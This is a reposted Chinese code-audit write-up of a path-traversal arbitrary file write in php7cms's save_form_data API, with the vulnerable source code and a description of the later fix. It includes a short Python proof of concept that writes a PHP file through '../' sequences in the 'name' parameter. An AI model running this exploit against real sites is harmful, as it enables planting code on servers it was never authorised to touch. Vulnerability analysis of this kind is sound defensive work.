内容简介:Version:2018-1//最新版中以修复此漏洞这个漏洞很简单,如果作者在写代码的时候考虑到一点点安全方面,其实都可以避免的。
Version:2018-1 0-09
//最新版中以修复此漏洞
这个漏洞很简单,如果作者在写代码的时候考虑到一点点安全方面,其实都可以避免的。
// php7cms/Core/Controllers/Api/Api.php
// 52~61 line
public function save_form_data() {
$rt = \Phpcmf\Service::L('cache')->init('file')->save(
\Phpcmf\Service::L('Input')->get('name'),
\Phpcmf\Service::L('Input')->post('data'),
7200
);
var_dump($rt);
exit;
}
调用了Cache类中 init 函数,参数分别为get(‘name’)和post(‘data’)。
// php7cms/Fcms/Library/Cache.php
// 112~121 line
public function init($handler = '', $prefix = 'site-'.SITE_ID.'-') {
$config = new \Config\Cache();
$config->handler = 'file';
$config->prefix = $prefix;
!$config->prefix && $config->prefix = 'site-'.SITE_ID.'-';
$config->path = WRITEPATH.'caching/';
$cache = \Config\Services::cache($config, 0);
return $cache;
}
初始化缓存类,为prefix参数拼接字符串后直接无任何过滤直接传入CI框架的缓存类中,中间框架的执行流程就不在文章里写了。
直接看最后一步
// php7cms/System/Cache/Handlers
// 107~125 line
public function save(string $key, $value, int $ttl = 60)
{
$key = $this->prefix . $key;
$contents = [
'time' => time(),
'ttl' => $ttl,
'data' => $value,
];
if ($this->writeFile($this->path . $key, serialize($contents)))
{
chmod($this->path . $key, 0640);
return true;
}
return false;
}
//324~345 line
protected function writeFile($path, $data, $mode = 'wb')
{
if (($fp = @fopen($path, $mode)) === false)
{
return false;
}
flock($fp, LOCK_EX);
for ($result = $written = 0, $length = strlen($data); $written < $length; $written += $result)
{
if (($result = fwrite($fp, substr($data, $written))) === false)
{
break;
}
}
flock($fp, LOCK_UN);
fclose($fp);
return is_int($result);
}
直接写入到缓存目录中,其中并没有过滤”.”和”/”,可以跨目录写入。所以不需要考虑路由问题。
POC:
from requests import post
postData = {
'data':'<?php phpinfo()?>'
}
postTest = post("http://localhost//index.php?s=api&c=api&m=save_form_data&name=/../../../adminss.php",data=postData)
新版修复:
首先给dr_safe_replace 参数增加了两个新的过滤条件 ” . “和 ” ‘ “,在原本漏洞出发点接收get值的时候用这个函数过滤。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 代码审计 | Empire CMS v7.5前台XSS漏洞
- Etouch2.0 分析代码审计流程 (二) 前台SQL注入
- 博客项目前台实现
- 古诗网站前台实现
- 开启前台Service
- 高效管理 Android 前台服务
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Domain-Driven Design
Eric Evans / Addison-Wesley Professional / 2003-8-30 / USD 74.99
"Eric Evans has written a fantastic book on how you can make the design of your software match your mental model of the problem domain you are addressing. "His book is very compatible with XP. It is n......一起来看看 《Domain-Driven Design》 这本书的介绍吧!